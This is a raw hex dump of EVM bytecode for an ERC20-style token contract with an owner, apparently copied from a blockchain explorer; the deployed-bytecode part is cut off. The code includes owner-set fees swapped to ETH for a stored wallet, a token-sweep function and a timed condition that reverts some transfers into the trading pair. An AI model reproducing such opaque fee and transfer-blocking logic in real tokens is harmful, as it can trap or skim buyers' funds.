f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108a36111f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461095e5782811015610949576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610940906122a5565b60405180910390fd5b61095d856109556111f5565b8584036111fc565b5b6109698585856113bf565b60019150509392505050565b600c5481565b5f6012905090565b5f610a2061098f6111f5565b848460015f61099c6111f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a1b91906122f0565b6111fc565b6001905092915050565b600b5481565b600f5f9054906101000a900460ff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ac66111f5565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b9061236d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f600254905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c5190612205565b80601f0160208091040260200160405190810160405280929190818152602001828054610c7d90612205565b8015610cc85780601f10610c9f57610100808354040283529160200191610cc8565b820191905f5260205f20905b815481529060010190602001808311610cab57829003601f168201915b5050505050905090565b5f8060015f610cdf6111f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d90906123fb565b60405180910390fd5b610dad610da46111f5565b858584036111fc565b600191505092915050565b5f610dcb610dc46111f5565b84846113bf565b6001905092915050565b60095481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e656111f5565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea9061236d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890612463565b60405180910390fd5b6001600d60166101000a81548160ff0219169083151502179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561102a573d5f803e3d5ffd5b50565b600a5481565b61103b6111f5565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c09061236d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112e906124f1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361126a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112619061257f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf9061260d565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113b2919061201a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114249061269b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149290612729565b60405180910390fd5b5f81036114b2576114ad83835f611863565b61185e565b5f6114bc30610a79565b90505f600e5482101590508080156114e15750600d60159054906101000a900460ff16155b801561153a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156115525750600d60169054906101000a900460ff165b156115b1576001600d60156101000a81548160ff021916908315150217905550600f5f9054906101000a900460ff161561158c57600e5491505b6115968583611ad8565b5f600d60156101000a81548160ff0219169083151502179055505b600d5f9054906101000a900460ff168015611619575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611671575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561167e5750600a5442105b1561168d575f61168c575f80fd5b5b5f60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611729575060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806117405750600d60159054906101000a900460ff165b1561174d575f9050611811565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036117ab57600b549050611810565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361180957600c54905061180f565b60095490505b5b5b5f81111561184f575f606482866118289190612747565b61183291906127b5565b9050808561184091906127e5565b945061184d873083611863565b505b61185a868686611863565b5050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c89061269b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361193f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193690612729565b60405180910390fd5b61194a838383611db6565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c490612888565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a5b91906122f0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611abf919061201a565b60405180910390a3611ad2848484611dbb565b50505050565b5f4790505f600367ffffffffffffffff811115611af857611af76128a6565b5b604051908082528060200260200182016040528015611b265781602001602082028036833780820191505090505b50905030815f81518110611b3d57611b3c6128d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508381600181518110611b8c57611b8b6128d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c30573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c549190612914565b81600281518110611c6857611c676128d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8430426040518663ffffffff1660e01b8152600401611d04959493929190612a2f565b5f604051808303815f87803b158015611d1b575f80fd5b505af1158015611d2d573d5f803e3d5ffd5b505050505f8247611d3e91906127e5565b90505f811115611daf57600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611dad573d5f803e3d5ffd5b505b5050505050565b505050565b505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ded82611dc4565b9050919050565b611dfd81611de3565b8114611e07575f80fd5b50565b5f81359050611e1881611df4565b92915050565b5f60208284031215611e3357611e32611dc0565b5b5f611e4084828501611e0a565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611e80578082015181840152602081019050611e65565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611ea582611e49565b611eaf8185611e53565b9350611ebf818560208601611e63565b611ec881611e8b565b840191505092915050565b5f6020820190508181035f830152611eeb8184611e9b565b905092915050565b5f819050919050565b611f0581611ef3565b8114611f0f575f80fd5b50565b5f81359050611f2081611efc565b92915050565b5f8060408385031215611f3c57611f3b611dc0565b5b5f611f4985828601611e0a565b9250506020611f5a85828601611f12565b9150509250929050565b5f8115159050919050565b611f7881611f64565b82525050565b5f602082019050611f915f830184611f6f565b92915050565b5f819050919050565b5f611fba611fb5611fb084611dc4565b611f97565b611dc4565b9050919050565b5f611fcb82611fa0565b9050919050565b5f611fdc82611fc1565b9050919050565b611fec81611fd2565b82525050565b5f6020820190506120055f830184611fe3565b92915050565b61201481611ef3565b82525050565b5f60208201905061202d5f83018461200b565b92915050565b5f805f6060848603121561204a57612049611dc0565b5b5f61205786828701611e0a565b935050602061206886828701611e0a565b925050604061207986828701611f12565b9150509250925092565b5f60ff82169050919050565b61209881612083565b82525050565b5f6020820190506120b15f83018461208f565b92915050565b6120c081611de3565b82525050565b5f6020820190506120d95f8301846120b7565b92915050565b5f80604083850312156120f5576120f4611dc0565b5b5f61210285828601611e0a565b925050602061211385828601611e0a565b9150509250929050565b5f8151905061212b81611efc565b92915050565b5f6020828403121561214657612145611dc0565b5b5f6121538482850161211d565b91505092915050565b5f60408201905061216f5f8301856120b7565b61217c602083018461200b565b9392505050565b61218c81611f64565b8114612196575f80fd5b50565b5f815190506121a781612183565b92915050565b5f602082840312156121c2576121c1611dc0565b5b5f6121cf84828501612199565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061221c57607f821691505b60208210810361222f5761222e6121d8565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61228f602883611e53565b915061229a82612235565b604082019050919050565b5f6020820190508181035f8301526122bc81612283565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6122fa82611ef3565b915061230583611ef3565b925082820190508082111561231d5761231c6122c3565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612357602083611e53565b915061236282612323565b602082019050919050565b5f6020820190508181035f8301526123848161234b565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6123e5602583611e53565b91506123f08261238b565b604082019050919050565b5f6020820190508181035f830152612412816123d9565b9050919050565b7f4e657720616464726573732063616e6e6f74207a65726f0000000000000000005f82015250565b5f61244d601783611e53565b915061245882612419565b602082019050919050565b5f6020820190508181035f83015261247a81612441565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6124db602683611e53565b91506124e682612481565b604082019050919050565b5f6020820190508181035f830152612508816124cf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612569602483611e53565b91506125748261250f565b604082019050919050565b5f6020820190508181035f8301526125968161255d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6125f7602283611e53565b91506126028261259d565b604082019050919050565b5f6020820190508181035f830152612624816125eb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612685602583611e53565b91506126908261262b565b604082019050919050565b5f6020820190508181035f8301526126b281612679565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612713602383611e53565b915061271e826126b9565b604082019050919050565b5f6020820190508181035f83015261274081612707565b9050919050565b5f61275182611ef3565b915061275c83611ef3565b925082820261276a81611ef3565b91508282048414831517612781576127806122c3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6127bf82611ef3565b91506127ca83611ef3565b9250826127da576127d9612788565b5b828204905092915050565b5f6127ef82611ef3565b91506127fa83611ef3565b9250828203905081811115612812576128116122c3565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612872602683611e53565b915061287d82612818565b604082019050919050565b5f6020820190508181035f83015261289f81612866565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061290e81611df4565b92915050565b5f6020828403121561292957612928611dc0565b5b5f61293684828501612900565b91505092915050565b5f819050919050565b5f61296261295d6129588461293f565b611f97565b611ef3565b9050919050565b61297281612948565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6129aa81611de3565b82525050565b5f6129bb83836129a1565b60208301905092915050565b5f602082019050919050565b5f6129dd82612978565b6129e78185612982565b93506129f283612992565b805f5b83811015612a22578151612a0988826129b0565b9750612a14836129c7565b9250506001810190506129f5565b5085935050505092915050565b5f60a082019050612a425f83018861200b565b612a4f6020830187612969565b8181036040830152612a6181866129d3565b9050612a7060608301856120b7565b612a7d608083018461200b565b969550505050505056fea2646970667358221220a4fb2a51884948db4d17edb71a8e0bed83ee911df21e4f55b0c39bfe0b5c9b6564736f6c63430008170033

Deployed Bytecode

0x60806040526004361061019f575f3560e01c806370a08231116100eb578063c395ae7811610089578063e2f4560511610063578063e2f45605146105d6578063e9b2176f14610600578063f11743f614610616578063f2fde38b14610640576101a6565b8063c395ae7814610548578063dd62ed3e14610572578063de3fc37d146105ae576101a6565b80638da5cb5b116100c55780638da5cb5b1461047c57806395d89b41146104a6578063a457c2d7146104d0578063a9059cbb1461050c576101a6565b806370a0823114610400578063715018a61461043c5780638951cf5914610452576101a6565b80632b14ca561161015857806347062402116101325780634706240214610358578063488eb37f1461038257806349bd5a5e146103ac5780634ada218b146103d6576101a6565b80632b14ca56146102c8578063313ce567146102f2578063395093511461031c576101a6565b806303f7f797146101aa57806306fdde03146101d2578063095ea7b3146101fc5780631694505e1461023857806318160ddd1461026257806323b872dd1461028c576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101d060048036038101906101cb9190611e1e565b610668565b005b3480156101dd575f80fd5b506101e6610780565b6040516101f39190611ed3565b60405180910390f35b348015610207575f80fd5b50610222600480360381019061021d9190611f26565b610810565b60405161022f9190611f7e565b60405180910390f35b348015610243575f80fd5b5061024c61082d565b6040516102599190611ff2565b60405180910390f35b34801561026d575f80fd5b50610276610852565b604051610283919061201a565b60405180910390f35b348015610297575f80fd5b506102b260048036038101906102ad9190612033565b61085b565b6040516102bf9190611f7e565b60405180910390f35b3480156102d3575f80fd5b506102dc610975565b6040516102e9919061201a565b60405180910390f35b3480156102fd575f80fd5b5061030661097b565b604051610313919061209e565b60405180910390f35b348015610327575f80fd5b50610342600480360381019061033d9190611f26565b610983565b60405161034f9190611f7e565b60405180910390f35b348015610363575f80fd5b5061036c610a2a565b604051610379919061201a565b60405180910390f35b34801561038d575f80fd5b50610396610a30565b6040516103a39190611f7e565b60405180910390f35b3480156103b7575f80fd5b506103c0610a42565b6040516103cd91906120c6565b60405180910390f35b3480156103e1575f80fd5b506103ea610a67565b6040516103f79190611f7e565b60405180910390f35b34801561040b575f80fd5b5061042660048036038101906104219190611e1e565b610a79565b604051610433919061201a565b60405180910390f35b348015610447575f80fd5b50610450610abe565b005b34801561045d575f80fd5b50610466610c11565b604051610473919061201a565b60405180910390f35b348015610487575f80fd5b50610490610c1a565b60405161049d91906120c6565b60405180910390f35b3480156104b1575f80fd5b506104ba610c42565b6040516104c79190611ed3565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190611f26565b610cd2565b6040516105039190611f7e565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d9190611f26565b610db8565b60405161053f9190611f7e565b60405180910390f35b348015610553575f80fd5b5061055c610dd5565b604051610569919061201a565b60405180910390f35b34801561057d575f80fd5b50610598600480360381019061059391906120df565b610ddb565b6040516105a5919061201a565b60405180910390f35b3480156105b9575f80fd5b506105d460048036038101906105cf9190611e1e565b610e5d565b005b3480156105e1575f80fd5b506105ea610fbf565b6040516105f7919061201a565b60405180910390f35b34801561060b575f80fd5b50610614610fc5565b005b348015610621575f80fd5b5061062a61102d565b604051610637919061201a565b60405180910390f35b34801561064b575f80fd5b5061066660048036038101906106619190611e1e565b611033565b005b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106e091906120c6565b602060405180830381865afa1580156106fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071f9190612131565b6040518363ffffffff1660e01b815260040161073c92919061215c565b6020604051808303815f875af1158015610758573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077c91906121ad565b5050565b60606003805461078f90612205565b80601f01602080910402602001604051908101604052809291908181526020018280546107bb90612205565b80156108065780601f106107dd57610100808354040283529160200191610806565b820191905f5260205f20905b8154815290600101906020018083116107e957829003601f168201915b5050505050905090565b5f61082361081c6111f5565b84846111fc565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108a36111f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461095e5782811015610949576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610940906122a5565b60405180910390fd5b61095d856109556111f5565b8584036111fc565b5b6109698585856113bf565b60019150509392505050565b600c5481565b5f6012905090565b5f610a2061098f6111f5565b848460015f61099c6111f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a1b91906122f0565b6111fc565b6001905092915050565b600b5481565b600f5f9054906101000a900460ff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ac66111f5565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4b9061236d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f600254905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610c5190612205565b80601f0160208091040260200160405190810160405280929190818152602001828054610c7d90612205565b8015610cc85780601f10610c9f57610100808354040283529160200191610cc8565b820191905f5260205f20905b815481529060010190602001808311610cab57829003601f168201915b5050505050905090565b5f8060015f610cdf6111f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d90906123fb565b60405180910390fd5b610dad610da46111f5565b858584036111fc565b600191505092915050565b5f610dcb610dc46111f5565b84846113bf565b6001905092915050565b60095481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e656111f5565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea9061236d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890612463565b60405180910390fd5b6001600d60166101000a81548160ff0219169083151502179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561102a573d5f803e3d5ffd5b50565b600a5481565b61103b6111f5565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c09061236d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112e906124f1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361126a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112619061257f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf9061260d565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113b2919061201a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114249061269b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149290612729565b60405180910390fd5b5f81036114b2576114ad83835f611863565b61185e565b5f6114bc30610a79565b90505f600e5482101590508080156114e15750600d60159054906101000a900460ff16155b801561153a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156115525750600d60169054906101000a900460ff165b156115b1576001600d60156101000a81548160ff021916908315150217905550600f5f9054906101000a900460ff161561158c57600e5491505b6115968583611ad8565b5f600d60156101000a81548160ff0219169083151502179055505b600d5f9054906101000a900460ff168015611619575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611671575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561167e5750600a5442105b1561168d575f61168c575f80fd5b5b5f60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611729575060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806117405750600d60159054906101000a900460ff165b1561174d575f9050611811565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036117ab57600b549050611810565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361180957600c54905061180f565b60095490505b5b5b5f81111561184f575f606482866118289190612747565b61183291906127b5565b9050808561184091906127e5565b945061184d873083611863565b505b61185a868686611863565b5050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c89061269b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361193f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193690612729565b60405180910390fd5b61194a838383611db6565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c490612888565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a5b91906122f0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611abf919061201a565b60405180910390a3611ad2848484611dbb565b50505050565b5f4790505f600367ffffffffffffffff811115611af857611af76128a6565b5b604051908082528060200260200182016040528015611b265781602001602082028036833780820191505090505b50905030815f81518110611b3d57611b3c6128d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508381600181518110611b8c57611b8b6128d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473fffffffffffffffffffffffffffffff